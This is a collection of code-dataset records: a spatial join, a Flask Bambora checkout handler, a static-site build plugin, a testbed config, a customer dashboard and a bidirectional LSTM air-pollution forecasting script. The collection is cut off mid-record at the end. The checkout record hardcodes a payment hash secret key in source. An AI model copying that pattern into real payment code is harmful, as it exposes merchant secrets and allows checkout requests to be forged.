cfg.ppj(\"IN_DATA_MUNICIPYLITY_SHP\", file)\n\t\tpolygons = gp.GeoDataFrame.from_file(shapefile)\n\t\tpolygons = polygons.to_crs(epsg=25832)\n\n\t\t# keep only columns containing ags and municipality name\n\t\tif 2000 <= i <= 2002:\n\t\t\tpolygons = polygons[[u'KEY',u'GEN',u'geometry']].rename(columns={u'KEY': u'ags'+unicode(i)})\n\t\telse:\n\t\t\tpolygons = polygons[[u'AGS',u'GEN',u'geometry']].rename(columns={u'AGS': u'ags'+unicode(i)})\n\t\tpolygons = polygons.rename(columns={u'GEN': u'municipality'+unicode(i)})\n\n\t\t# perform spatial join\n\t\tpoints = gp.tools.sjoin(points,polygons,how='left').drop('index_right',1)\n\t\n\t# convert GeoDataFrame back to DataFrame\n\tpoints = pd.DataFrame(points).drop('geometry',1)\n\n\treturn points\n\n","sub_path":"src/library/spatial_join.py","file_name":"spatial_join.py","file_ext":"py","file_size_in_byte":1923,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"441883599","text":"#\n# Copyright (c) 2017 - Bambora Inc. \n# MIT licensed. Feel free to use and abuse.\n#\n\nimport hashlib\nimport urllib.parse\nimport os\nimport simplejson as json\n\nfrom flask import Blueprint\nfrom flask import render_template\nfrom flask import request\n\n\n# Setup our Basic Payment Blueprint\npayments = Blueprint('checkout', __name__,)\n\n\n@payments.route('/redirect', methods=['POST'])\ndef process_order():\n merchant_id = os.environ.get('MERCHANT_ID')\n amount = request.json.get('amount')\n name = urllib.parse.quote_plus(request.json.get('name'))\n postal = urllib.parse.quote_plus(request.json.get('postal'))\n\n hash_data = 'merchant_id=' + merchant_id + '&trnAmount=' + amount + '&ordName=' + name + '&ordPostalCode=' + postal\n hash_key = '204AA6A5-1BCD-489E-9FEA-C904EBFA'\n hash = hashlib.sha1(str(hash_data + hash_key).encode('utf-8')).hexdigest()\n\n checkout_url = 'https://web.na.bambora.com/scripts/payment/payment.asp?'+ hash_data + \"&hashValue=\" + hash\n\n data = json.dumps({\n 'redirect_url': checkout_url\n }, use_decimal=True)\n\n return data\n\n\n@payments.route('/response', methods=['GET'])\ndef response():\n if request.args.get('trnApproved') == '1':\n feedback = {'success': True, 'transaction_id': request.args.get('trnId'),\n 'auth_code': request.args.get('authCode'), 'message_id': request.args.get('messageId'),\n 'message_text': request.args.get('messageText'), 'trans_date': request.args.get('trnDate')}\n else:\n feedback = {'success': False, 'transaction_id': request.args.get('trnId'),\n 'message_id': request.args.get('messageId'), 'message_text': request.args.get('messageText'),\n 'trans_date': request.args.get('trnDate')}\n\n return render_template('checkout-response.html', feedback=feedback)\n","sub_path":"server/app/blueprints/checkout.py","file_name":"checkout.py","file_ext":"py","file_size_in_byte":1861,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"43677049","text":"# Copyright (c) 2016-2020 InSeven Limited\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in all\n# copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n# SOFTWARE.\n\nimport codecs\nimport functools\nimport importlib.util\nimport json\nimport logging\nimport os\nimport re\nimport shutil\nimport subprocess\n\nimport fnmatch\nimport yaml\n\nimport converters\nimport gallery\nimport incontext\nimport paths\nimport store\nimport tracker\nimport utils\n\n\nDOCUMENT_STORE = \"DOCUMENT_STORE\"\n\n\ndef initialize_plugin(incontext):\n incontext.add_argument(\"--set\", type=str, help=\"override configuration parameters\")\n incontext.add_configuration_provider(\"site\", configuration_provider_site)\n incontext.add_handler(\"import_markdown\", import_markdown)\n incontext.add_task(\"process_files\", process_files)\n\n\nclass SiteConfiguration(object):\n\n def __init__(self, path, overrides={}):\n self._path = os.path.abspath(path)\n self._root = os.path.dirname(self._path)\n self._overrides = overrides\n self._loaded = False\n \n def _load_configuration(self):\n if self._loaded:\n return\n self._loaded = True\n with open(self._path) as fh:\n self._config = yaml.load(fh, Loader=yaml.SafeLoader)\n for key, value in self._overrides.items():\n logging.info(\"%s=%s\" % (key, value))\n keys = key.split(\".\")\n destination = self._config\n for key in keys[:-1]:\n destination = destination[key]\n destination[keys[-1]] = value\n\n @property\n def root(self):\n return self._root\n\n @property\n def build_steps(self):\n self._load_configuration()\n return self._config[\"build_steps\"]\n\n @property\n def config(self):\n self._load_configuration()\n return self._config[\"config\"]\n\n @property\n def paths(self):\n self._load_configuration()\n paths = {\n \"content\": \"content\",\n \"build\": \"build\",\n \"templates\": \"templates\",\n }\n paths.update(self._config[\"paths\"])\n # TODO: Ensure the paths in site.yaml are under the root (https://github.com/inseven/incontext/issues/60)\n return utils.PropertyDictionary({name: os.path.join(self._root, os.path.expanduser(path))\n for name, path in paths.items()})\n\n @property\n def destination(self):\n self._load_configuration()\n return utils.PropertyDictionary({\n \"root_directory\": self.paths.build,\n \"files_directory\": os.path.join(self.paths.build, \"files\"),\n \"store_path\": os.path.join(self.paths.build, \"store.sqlite\"),\n })\n\n\ndef touch(path):\n with open(path, 'a'):\n os.utime(path)\n\n\ndef configuration_provider_site(incontext, options):\n overrides = {}\n\n # Process overrides from the environment.\n try:\n environment_config = os.environ[\"INCONTEXT_CONFIG\"]\n environment_sets = environment_config.split(\";\")\n overrides = {key: value for key, value in [set.split(\"=\", 1) for set in environment_sets]}\n except KeyError:\n pass\n\n # Process overrides from the command line.\n if options.set:\n sets = [options.set]\n for key, value in [set.split(\"=\", 1) for set in sets]:\n overrides[key] = value\n\n return SiteConfiguration(os.path.join(os.path.abspath(options.site), \"site.yaml\"), overrides)\n\n\ndef process_files(incontext, options, handlers):\n document_store = store.DocumentStore(incontext.configuration.site.destination.store_path)\n incontext.environment[DOCUMENT_STORE] = document_store\n\n logging.info(\"Generating intermediates...\")\n phase1 = Phase(os.path.join(incontext.configuration.site.destination.root_directory, \"phase-1-generate-intermediates.json\"),\n incontext.configuration.site.paths.content,\n document_store)\n for task in handlers:\n fn = incontext.get_handler(task[\"then\"])\n args = task[\"args\"] if \"args\" in task else {}\n phase1.add_task(task['when'], fn(incontext,\n from_directory=incontext.configuration.site.paths.content,\n to_directory=incontext.configuration.site.destination.files_directory,\n **args))\n phase1.process()\n\n # Renders are dependent on the templates, so we hash all the templates and add this into the hash for the page\n # renders to ensure everything is re-rendered whenever a template changes. It should be possible to track the\n # templates used in render in the future if we need to make this faster.\n templates = [os.path.join(*paths) for paths in utils.find_files(incontext.configuration.site.paths.templates)]\n template_mtimes = [os.path.getmtime(path) for path in templates]\n template_hash = utils.hash_items(template_mtimes)\n\n logging.info(\"Render content cache...\")\n cache_path = os.path.join(incontext.configuration.site.destination.root_directory, \"phase-6-render-content.json\")\n render_change_tracker = tracker.ChangeTracker(cache_path)\n website = Website(incontext=incontext)\n for document in website.documents():\n def render_outer(document):\n def render(url):\n path, queries, hashes = website.render(document=document)\n return {\"files\": [path],\n \"queries\": queries,\n \"mtime\": utils.hash_items([template_hash, document.hash] + hashes)}\n return render\n queries = {}\n try:\n queries = render_change_tracker.get_info(path=document.url)[\"queries\"]\n except KeyError:\n pass\n hash = utils.hash_items([template_hash, document.hash] + document.evaluate_queries(queries))\n render_change_tracker.add(path=document.url, create=render_outer(document), mtime=hash)\n render_change_tracker.commit(cleanup(root=incontext.configuration.site.destination.root_directory,\n document_store=document_store))\n\n touch(incontext.configuration.site.destination.store_path)\n\n\nclass Website(object):\n\n def __init__(self, incontext):\n self.incontext = incontext\n self.service_directory = paths.SERVICE_DIR\n self.templates_path = incontext.configuration.site.paths.templates\n self.service_path = os.path.join(self.service_directory, \"website.py\")\n self.files_directory = incontext.configuration.site.destination.files_directory\n with utils.Chdir(self.service_directory):\n website_spec = importlib.util.spec_from_file_location(\"website\", self.service_path)\n website = importlib.util.module_from_spec(website_spec)\n website_spec.loader.exec_module(website)\n self.website = website\n for name, f in incontext.context_functions.items():\n self.website.app.jinja_env.globals.update(**{name: f})\n self.website.initialize(templates_path=self.templates_path,\n store_path=incontext.configuration.site.destination.store_path,\n config=incontext.configuration.site.config)\n\n def documents(self):\n with utils.Chdir(self.service_directory):\n return self.website.app.jinja_env.site.posts()\n\n def render(self, document):\n with utils.Chdir(self.service_directory) as current_directory, self.website.app.test_request_context():\n logging.info(\"[render] %s\", document.url)\n response, query_tracker = self.website.documents(path=document.url)\n hashes = [hash for query, hash in query_tracker.queries.items()]\n _, extension = os.path.splitext(document.template)\n destination_directory = os.path.join(self.files_directory, document.url[1:])\n destination = os.path.join(destination_directory, \"index\" + extension)\n utils.makedirs(destination_directory)\n with open(destination, \"wb\") as fh:\n fh.write(response.data)\n return destination, query_tracker.queries, hashes\n\n\n@incontext.command(\"build\", help=\"build the website\")\ndef command_build(incontext, options):\n\n # Create the build directory.\n utils.makedirs(incontext.configuration.site.destination.root_directory)\n\n # Run the build tasks.\n for task in incontext.configuration.site.build_steps:\n identifier, args = task[\"task\"], task[\"args\"] if \"args\" in task else {}\n logging.info(\"Running task '%s'...\" % identifier)\n incontext.get_task(identifier)(incontext, options, **args)\n\n\n@incontext.command(\"clean\", help=\"remove the build directory\")\ndef command_clean(incontext, options):\n\n build_dir = incontext.configuration.site.destination.root_directory\n if not os.path.exists(build_dir):\n logging.info(\"Nothing to do.\")\n return\n\n logging.info(\"Removing '%s'...\" % build_dir)\n shutil.rmtree(build_dir)\n\n\ndef import_markdown(incontext, from_directory, to_directory, default_category='general'):\n\n @functools.wraps(import_markdown)\n def inner(path):\n root, dirname, basename = utils.tripple(from_directory, path)\n document = converters.frontmatter_document(root,\n os.path.join(dirname, basename),\n default_category=default_category)\n\n files = []\n\n # Thumbnail.\n try:\n if isinstance(document[\"thumbnail\"], str): # work-around for legacy photo handling\n thumbnail_src = os.path.normpath(os.path.join(from_directory, dirname, document[\"thumbnail\"]))\n name, ext = os.path.splitext(basename)\n thumbnail_basename = \"%s-thumbnail.jpg\" % (name, )\n\n # Ensure the destination directory exists.\n # This is designed to fail if the destination path exists, but is not a directory.\n target_directory = os.path.join(to_directory, dirname)\n utils.makedirs(target_directory)\n\n document.metadata['thumbnail'] = gallery.resize(thumbnail_src,\n to_directory,\n dirname,\n thumbnail_basename,\n (None, 500),\n 2)\n files.append(os.path.join(to_directory, dirname, thumbnail_basename))\n except KeyError:\n pass\n\n incontext.environment[DOCUMENT_STORE].add(document)\n return {'files': files, 'urls': [document.url]}\n\n return inner\n\n\ndef cleanup(root, document_store):\n def inner(info):\n if 'files' in info:\n for file in info['files']:\n if isinstance(file, str) and os.path.exists(file):\n logging.info(\"[clean] %s\" % os.path.relpath(file, root))\n os.remove(file)\n if 'urls' in info:\n for url in info['urls']:\n logging.info(\"[clean] %s\" % url)\n document_store.delete(url)\n return inner\n\n\nclass Phase(object):\n\n def __init__(self, cache, root, document_store):\n self.cache = cache\n self.root = root\n self.document_store = document_store\n self.tasks = []\n self.tracker = tracker.ChangeTracker(self.cache)\n\n def add_task(self, pattern, task):\n self.tasks.append((pattern, task))\n\n @property\n def paths(self):\n return self.tracker.paths\n\n def process(self):\n for root, dirname, basename in utils.find_files(self.root):\n relpath = os.path.join(dirname, basename)\n for pattern, task in self.tasks:\n if re.search(\"^%s$\" % pattern, relpath, re.IGNORECASE):\n def debug_task(task, relpath):\n @functools.wraps(task)\n def inner(path):\n logging.info(\"[%s] %s\" % (task.__name__, relpath))\n return task(path)\n return inner\n self.tracker.add(os.path.join(root, dirname, basename), debug_task(task, relpath))\n break\n self.tracker.commit(cleanup(self.root, self.document_store))\n","sub_path":"plugins/build.py","file_name":"build.py","file_ext":"py","file_size_in_byte":13431,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"569672427","text":"x = 55\nif x % 2 == 0:\n if x % 3 == 0:\n print(\"Osztható 2-vel és 3-mal is.\")\n else:\n print(\"Osztható 2-vel, de 3-mal nem.\")\nelif x % 3 == 0:\n print(\"Osztható 3-mal, de 2-vel nem.\")\nelse:\n print(\"Sem 2-vel, sem 3-mal nem osztható.\")\n","sub_path":"week-5/thursday/pld6.py","file_name":"pld6.py","file_ext":"py","file_size_in_byte":270,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"473254136","text":"\"\"\"\r\nTestbed for firefly REST smoke test\r\n\"\"\"\r\nfrom tbaas_testbed import TBaaSTestBed\r\n\r\n\r\nclass Testbed(TBaaSTestBed):\r\n TBAAS_USER = 'public'\r\n TBAAS_PASSWORD = 'public'\r\n TBAAS_CONFIG = {\r\n \"heat_template_version\": \"2013-05-23\",\r\n \"resources\": {\r\n \"firefly-server\": {\r\n \"type\": \"FIREFLY_CORE\",\r\n \"properties\": {\r\n \"database\": \"cassandra\",\r\n \"authenticated\": False,\r\n \"version\": \"latest\",\r\n \"cors_enabled\" : True\r\n }\r\n },\r\n \"ta5k-test-resource\": {\r\n \"type\": \"TA5K_SHELF_WITH_AM\",\r\n \"properties\": {\r\n \"am_slots\": [\r\n 1\r\n ],\r\n \"module_versions\": {\r\n \"am_image\": \"1187503f1_tamainlinefullbuilds\",\r\n \"am_tag\": \"latest\",\r\n \"sm_image\": \"1187040f1_tamainlinefullbuilds\",\r\n \"sm_tag\": \"latest\",\r\n \"scm_image\": \"1187011g1_scmmain\",\r\n \"scm_tag\": \"latest\"\r\n }\r\n }\r\n }\r\n }\r\n }\r\n\r\n def __init__(self):\r\n \"\"\"Create the testbed on the server.\"\"\"\r\n self.init_tbaas(self.TBAAS_CONFIG)\r\n\r\n ip = str( self.attributes['firefly-server']['ff_core_ip'] )\r\n port = str( self.attributes['firefly-server']['ff_core_north_http_port'] )\r\n self.server_url = \"http://\" + ip + ':' + port + \"/restconf/\"\r\n\r\n ta5k_ip = str( self.attributes['ta5k-test-resource']['ip'] )\r\n ta5k_uri = '/restconf/SNMPslot254'\r\n\r\n self.ta5k_post_discovery = {\r\n 'host': ta5k_ip,\r\n 'rest': {\r\n 'uri': ta5k_uri,\r\n 'username':'USERNAME',\r\n 'password':'PASSWORD'\r\n }\r\n }\r\n","sub_path":"Perforce/kkhanna_ubuntu-VirtualBox_4296/team/kiwi/data_modeling/REST/branches/1.0/tbaas_rest_test/tbaas_rest_test/testbeds/firefly_smoke_testbed.py","file_name":"firefly_smoke_testbed.py","file_ext":"py","file_size_in_byte":1940,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"521526821","text":"from flask import *\nfrom pony.orm import *\nfrom flask_login import login_required\nfrom werkzeug.datastructures import CombinedMultiDict\n\nimport classes.utils as utils\nfrom datetime import datetime\n\nfrom models import produto, user, contato, banco, cartao\n\n\ncliente = Blueprint('cliente', __name__, template_folder='/templates', static_folder='/static', url_prefix='/cliente')\n\n\ncontroles = [\n { 'label' : 'início', 'location' : '/cliente', 'icon' : 'home' },\n [\n { 'label' : 'dados', 'location' : '#', 'icon' : 'person' },\n { 'label' : 'conta', 'location' : '/cliente/dados/conta', 'icon' : 'shield' },\n { 'label' : 'pessoal', 'location' : '/cliente/dados/pessoal', 'icon' : 'archive' },\n { 'label' : 'banco', 'location' : '/cliente/dados/banco', 'icon' : 'briefcase' },\n { 'label' : 'cartão', 'location' : '/cliente/dados/cartao', 'icon' : 'credit-card' },\n ],\n\n { 'label' : 'carrinho', 'location' : '/cliente/carrinho', 'icon' : 'cart' },\n]\n\ndst = {\n 'conta' : { 'form' : user.UserForm , 'info' : {'title' : 'dados da conta', 'action' : 'atualizar' } },\n 'pessoal' : { 'form' : contato.ContatoForm , 'info' : {'title' : 'dados de contato', 'action' : 'atualizar' } },\n 'banco' : { 'form' : banco.BancoForm , 'info' : {'title' : 'dados bancários', 'action' : 'atualizar' } },\n 'cartao' : { 'form' : cartao.CartaoForm , 'info' : {'title' : 'cartão de crédito', 'action' : 'atualizar' } }\n}\n\n@cliente.route('/')\n@login_required\ndef main():\n return render_template('commerce/cliente/cliente.dashboard.html', controles = controles )\n\n@cliente.route('/dados')\n@cliente.route('/dados/')\n@login_required\ndef dados( route = 'conta'):\n tpl = 'commerce/cliente/cliente.{0}.html'.format( route )\n data = dst[ route ]\n\n return render_template(\n tpl,\n controles = controles,\n form = data['form'](),\n info = data['info']\n )\n\n@cliente.route('/carrinho')\n@login_required\ndef carrinho():\n return render_template('commerce/cliente/cliente.carrinho.html', controles = controles )\n\n\n\n","sub_path":"cliente.py","file_name":"cliente.py","file_ext":"py","file_size_in_byte":2027,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"22017898","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Oct 10 17:32:56 2017\n\n@author: dvalput\n\"\"\"\n\nimport numpy as np\nimport pandas as pd\n\n# Keras imports\nfrom keras.models import Sequential\nfrom keras.layers import Dense\nfrom keras import regularizers\nfrom keras import optimizers\nfrom keras.callbacks import EarlyStopping\n\n#LSTM\nfrom keras.layers import LSTM\nfrom keras.layers import Bidirectional\n\nfrom evaluate_forecast import evaluate_forecast\nfrom normalization import normalize_by_columns_maxmin, denormalize_maxmin\n\nforecasting_horizons = [12, 24]\n\nfor k_hrs in forecasting_horizons:\n # Set the forecasting horizon:\n #k_hrs = 12\n print(\"Doing forecasting for horizon: \", k_hrs, \"\\n.\")\n \n # Time delays to be used\n ########################################################################\n #t, t-1, t-2, t-12, t-13, t-14, t-36, t-37, t-60\n which_no2 = np.array([0, 1, 2, k_hrs, k_hrs+1, k_hrs+2, k_hrs+24, k_hrs+25, k_hrs+26, k_hrs+48, k_hrs+49, k_hrs+50])\n \n # Which meteo data should I take? 0 - the time t, 1 - the time t-1...\n which_meteo = np.array([0, 1, 2, k_hrs, k_hrs+1, k_hrs+2])\n \n # which traffic samples from the past\n which_traffic = np.array([0, 1, 2, k_hrs, k_hrs+1, k_hrs+2])\n \n # for other pollutants: co, no, so2\n which_other_pollutants = np.array([0, 1, 2, k_hrs, k_hrs+1, k_hrs+2, k_hrs+24, k_hrs+25, k_hrs+26])\n \n #######################################################################\n # Redefining time delays for k_hrs other than 6, 12, 24.\n if k_hrs < 6:\n which_no2 = np.array([0, 1, 2, k_hrs+24, k_hrs+25, k_hrs+26, k_hrs+48, k_hrs+49, k_hrs+50])\n \n which_meteo = np.array([0, 1, 2])\n \n which_traffic = np.array([0, 1, 2])\n \n which_other_pollutants = np.array([0, 1, 2, k_hrs+24, k_hrs+25, k_hrs+26])\n \n if k_hrs == 48:\n which_no2 = np.array([0, 1, 2, k_hrs - 24, k_hrs - 23, k_hrs - 22, k_hrs, k_hrs+1, k_hrs+2, k_hrs+24, k_hrs+25, k_hrs+26, k_hrs+48, k_hrs+49, k_hrs+50])\n \n which_meteo = np.array([0, 1, 2, k_hrs - 24, k_hrs - 23, k_hrs - 22, k_hrs, k_hrs+1, k_hrs+2])\n \n which_traffic = np.array([0, 1, 2, k_hrs - 24, k_hrs - 23, k_hrs - 22, k_hrs, k_hrs+1, k_hrs+2])\n \n which_other_pollutants = np.array([0, 1, 2, k_hrs - 24, k_hrs - 23, k_hrs - 22, k_hrs, k_hrs+1, k_hrs+2, k_hrs+24, k_hrs+25, k_hrs+26])\n \n \n # LOAD THE DATA\n X = np.loadtxt(\"train_examples/train_examples_\" + str(k_hrs) + \"hrs\")\n y = np.loadtxt(\"targets/targets_\" + str(k_hrs) + \"hrs\")\n \n \n # Which features do you want to use? Set it to True. NO2 is used by default.\n meteo = True\n extra = True\n hod = True # included in extra for now\n traffic_intensidad = True\n traffic_carga = False\n ensemble = True\n co = True\n so2 = True\n no = True\n \n # CAMS\n neighbourhood_size = 9 # the number of points I am using around Pza de España\n ##############################################################################\n # Length of the data\n no2_len = len(which_no2)\n meteo_len = len(which_meteo)\n traffic_len = len(which_traffic)\n pollutants_len = len(which_other_pollutants)\n macc_len = neighbourhood_size\n extra_len = 4 # four extra features\n \n # Create start indices for each feature in X\n start_no2 = 0\n start_meteo = no2_len\n start_extra = no2_len + 4 * meteo_len\n start_co = start_extra + 4\n start_no = start_co + pollutants_len\n start_so2= start_no + pollutants_len\n start_intensidad = start_so2 + pollutants_len\n start_carga = start_intensidad + traffic_len\n start_macc = start_carga + traffic_len\n \n # lists of indices to include\n list_no2 = list(range(start_no2, no2_len))\n list_meteo = list(range(start_meteo, start_extra))\n list_extra = list(range(start_extra, start_co))\n list_co = list(range(start_co, start_no))\n list_no = list(range(start_no, start_so2))\n list_so2 = list(range(start_so2, start_intensidad))\n list_intensidad =list(range(start_intensidad, start_carga))\n list_carga = list(range(start_carga, start_macc))\n list_macc = list(range(start_macc, start_macc + macc_len))\n # total list of all indices to take into model training from the matrix X\n list_all_features = list_no2 # no2 is always used\n if meteo: list_all_features += list_meteo \n if extra: list_all_features += list_extra \n if co: list_all_features += list_co\n if no: list_all_features += list_no\n if so2: list_all_features += list_so2\n if traffic_carga: list_all_features += list_intensidad\n if traffic_intensidad: list_all_features += list_carga\n if ensemble: list_all_features += list_macc\n \n # Remove unwanted features from X (columns).\n X = X[:, list_all_features]\n \n # Randomly shuffle the training examples\n X = np.hstack([X, y.reshape(-1,1)])\n # set the random seed and shuffle the matrix X\n np.random.seed(2)\n np.random.shuffle(X)\n # split again targets and training examples\n y = X[:,-1]\n X = X[:,0:-1]\n \n # number of training examples\n m = X.shape[0]\n \n n_folds = 10\n runs = 1\n \n fold_size = int(m/n_folds)\n \n # Errors for hybrid model: ANN + RF\n error_mat = np.zeros((runs + 1, 10), dtype=float) # the last row is for averages over all the runs\n error_mat_folds = np.zeros((n_folds + 1, 10), dtype=float)\n ##############################################################\n # 10-folds cross-validation\n fold_size = int(m/n_folds)\n folds_idx = [x for x in range(0, m, fold_size)]\n folds_idx[-1] = m\n \n ##############################################################\n \"\"\"\n Capture predictions: train and test, per fold\n \"\"\"\n \n dict_pred_train = dict().fromkeys(range(1,11))\n dict_pred_test = dict().fromkeys(range(1, 11))\n \n ##############################################################\n # Neural network parameters\n \"\"\"\n Here set the parameters of the NN (depth, number of hidden neurons, etc.)\n \"\"\"\n input_layer_size = X.shape[1]\n \n hidden_layers = 1 # SET THE NUMBER OF HIDDEN LAYERS \n \n hidden_layer1_size = 45\n hidden_layer2_size = 20\n hidden_layer3_size = 5\n \n num_outputs = 1 # just one layer, and that one is bi-directional\n \n adam_lr = 0.0001 # learning rate\n l2_reg = 0.01 # l2 regularizer\n \n # normalizing the training examples and targets\n X, y, maxNO2, minNO2 = normalize_by_columns_maxmin(X, y)\n \n def reshape_and_pad(X):\n \"\"\"\n Zero padding and reshaping the data for the LSTM layer(s).\n X - a 2D matrix of training examples, to be reshaped into a 3D tensor for keras LSTM\n Every row (training examples) is reshaped into a smaller 2D matrix, padded with zeros,\n and placed back in a row of 2D matrices now in a 3D tensor.\n \"\"\"\n \n X_3d = np.zeros((X.shape[0], len(which_no2), 22)) # I have 22 features\n \n k = 0\n \n for row in X:\n X_3d[k, 0:no2_len, 0] = row[0:no2_len]\n X_3d[k, 0:meteo_len, 1] = row[no2_len: no2_len + meteo_len]\n X_3d[k, 0:meteo_len, 2] = row[no2_len + meteo_len: no2_len + 2*meteo_len]\n X_3d[k, 0:meteo_len, 3] = row[no2_len + 2*meteo_len: no2_len + 3*meteo_len]\n X_3d[k, 0:meteo_len, 4] = row[no2_len + 3*meteo_len: no2_len + 4*meteo_len]\n X_3d[k, 0, 5:9] = row[start_extra:start_extra + 4]\n X_3d[k, 0:pollutants_len, 9] = row[start_co:start_co + pollutants_len]\n X_3d[k, 0:pollutants_len, 10] = row[start_no:start_no + pollutants_len]\n X_3d[k, 0:pollutants_len, 11] = row[start_so2:start_so2 + pollutants_len]\n X_3d[k, 0:traffic_len, 12] = row[start_intensidad:start_intensidad + traffic_len]\n X_3d[k, 0, 13:] = row[start_macc - traffic_len:] # I have to subtract traffic because I am not using carga!\n \n k += 1\n \n return X_3d\n \n \n for k in range(n_folds):\n # take the k-th fold for validation\n X_test = X[folds_idx[k]:folds_idx[k+1] , :]\n y_test = y[folds_idx[k]:folds_idx[k+1]]\n # ... and the rest goes into training\n X_train = np.delete(X, list(range(folds_idx[k], folds_idx[k+1])), axis = 0)\n y_train = np.delete(y, list(range(folds_idx[k], folds_idx[k+1])))\n \n # LSTM expects 3D inputs: [samples, timesteps, features]\n # Padding with zeros\n X_train = reshape_and_pad(X_train)\n X_test = reshape_and_pad(X_test)\n \n for run in range(0, runs):\n ############### DEFINE A KERAS LSTM NET ##################\n \n #construct a new feed forward network object\n model = Sequential()\n \n # Input layer - general way to express its size\n model.add(Bidirectional(LSTM(hidden_layer1_size, \\\n input_shape = (X_train.shape[1], X_train.shape[2]), activation='tanh',\\\n bias_regularizer=regularizers.l2(l2_reg))))\n \n # 2nd hidden layer\n if hidden_layers >=2:\n model.add(Dense(hidden_layer2_size, activation='tanh', bias_regularizer=regularizers.l2(l2_reg)))\n \n # 3rd hidden layer\n if hidden_layers >=3:\n model.add(Dense(hidden_layer3_size, activation='tanh', bias_regularizer=regularizers.l2(l2_reg)))\n \n \n # Output layer\n model.add(Dense(num_outputs, activation='tanh', bias_regularizer=regularizers.l2(l2_reg)))\n #bias is used by default: use_bias = True\n \n # Optimizers\n adam = optimizers.Adam(lr = adam_lr)\n \n earlyStop = EarlyStopping(monitor = 'val_loss', min_delta = 1e-6, patience = 20, verbose=0)\n \n ###################### TRAIN THE NET ################################\n \n \n # Compile the model\n model.compile(loss='mean_squared_error', optimizer=adam, metrics=['mean_squared_error'])\n \n # Train the LSTM\n history = model.fit(X_train, y_train, epochs = 500, batch_size = 124,\\\n validation_data=(X_test, y_test), shuffle = False, \\\n callbacks = [earlyStop], verbose=0)\n \n #Examine the network\n print (model.summary())\n #wait = input(\"PRESS ENTER TO CONTINUE. The training will start afterwards.\")\n \n # Calculate predictions on the train set X\n predictions = model.predict(X_train)\n \n ################# TEST AND TRAIN ERROR ###############################\n # Training error\n # the predictions for the training set are in the variable \"predictions\"\n pred_train = denormalize_maxmin(predictions, maxNO2, minNO2)\n pred_train = np.reshape(pred_train, (len(pred_train), ))\n y_train_denorm = denormalize_maxmin(y_train, maxNO2, minNO2)\n \n rmse_train, mae_train, ia_train, mb_train, pears_train = evaluate_forecast(y_train_denorm, pred_train, normalize=0)\n \n # Validation error\n pred_test = model.predict(X_test) # calculate the predictions on the test set\n pred_test = np.reshape(pred_test, (len(pred_test), ))\n pred_test = denormalize_maxmin(pred_test, maxNO2, minNO2)\n y_test_denorm = denormalize_maxmin(y_test, maxNO2, minNO2)\n \n rmse_test, mae_test, ia_test, mb_test, pears_test = evaluate_forecast(y_test_denorm, pred_test, normalize=0)\n \n ##########################################################################\n ####################### Save the results into a matrix ##################\n error_mat[run,:] = np.array([rmse_train, rmse_test, mae_train, mae_test, ia_train, ia_test, mb_train, mb_test, pears_train, pears_test])\n \n # Calculate the means, outside the for loop\n error_mat[runs, :] = sum(error_mat[:-1,:]) / len(error_mat[:-1,:])\n error_mat_folds[k, :] = error_mat[runs, :]\n print(\"Fold\", str(k+1), \"finished.\\n\")\n print(\"RMSE on test, fold \", str(k+1), \": \", rmse_test)\n \n # capture the predictions from the latest run\n dict_pred_train[k + 1] = pred_train\n dict_pred_test[k + 1] = pred_test\n \n # Calculate the average over all folds\n error_mat_folds[n_folds, :] = np.mean(error_mat_folds[0:n_folds,:], axis = 0)\n print(\"Final errors: \", error_mat_folds, \"\\n\")\n \n # save predictions into pandas_csv\n import pickle\n def save_obj(obj, name ):\n with open('predictions_results/'+ name + '.pkl', 'wb') as f:\n pickle.dump(obj, f, pickle.HIGHEST_PROTOCOL)\n \n save_obj(dict_pred_train, \"predictions_train_bilstm_k=\" + str(k_hrs))\n save_obj(dict_pred_test, \"predictions_test_bilstm_k=\" + str(k_hrs))\n \n # save error matrix\n def save_error_mat(obj, k_hrs):\n with open('error_matrix k=' + str(k_hrs) + '.pkl', 'wb') as f:\n pickle.dump(obj, f, pickle.HIGHEST_PROTOCOL)\n \n save_error_mat(error_mat_folds, k_hrs)\n\n# for loading results (predictions)\ndef load_obj(model, k_hrs = 12, train_test = \"test\"):\n with open('predictions_results/predictions_' + str(train_test) + '_' + model + '_k=' + str(k_hrs) + '.pkl', 'rb') as f:\n return pickle.load(f)\n\n# load error_mat\ndef load_error_mat(k_hrs = 12):\n with open('error_matrix k=' + str(k_hrs) + '.pkl', 'rb') as f:\n return pickle.load(f) \n","sub_path":"bi-listm.py","file_name":"bi-listm.py","file_ext":"py","file_size_in_byte":13764,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"314442079","text":"#pip install adblockparser psutil\n\nclass MemoryInfo:\n UNITS = {1000: ['KB', 'MB', 'GB'], 1024: ['KiB', 'MiB', 'GiB']}\n\n def approximate_size(size, flag_1024_or_1000=True):\n mult = 1024 if flag_1024_or_1000 else 1000\n for unit in 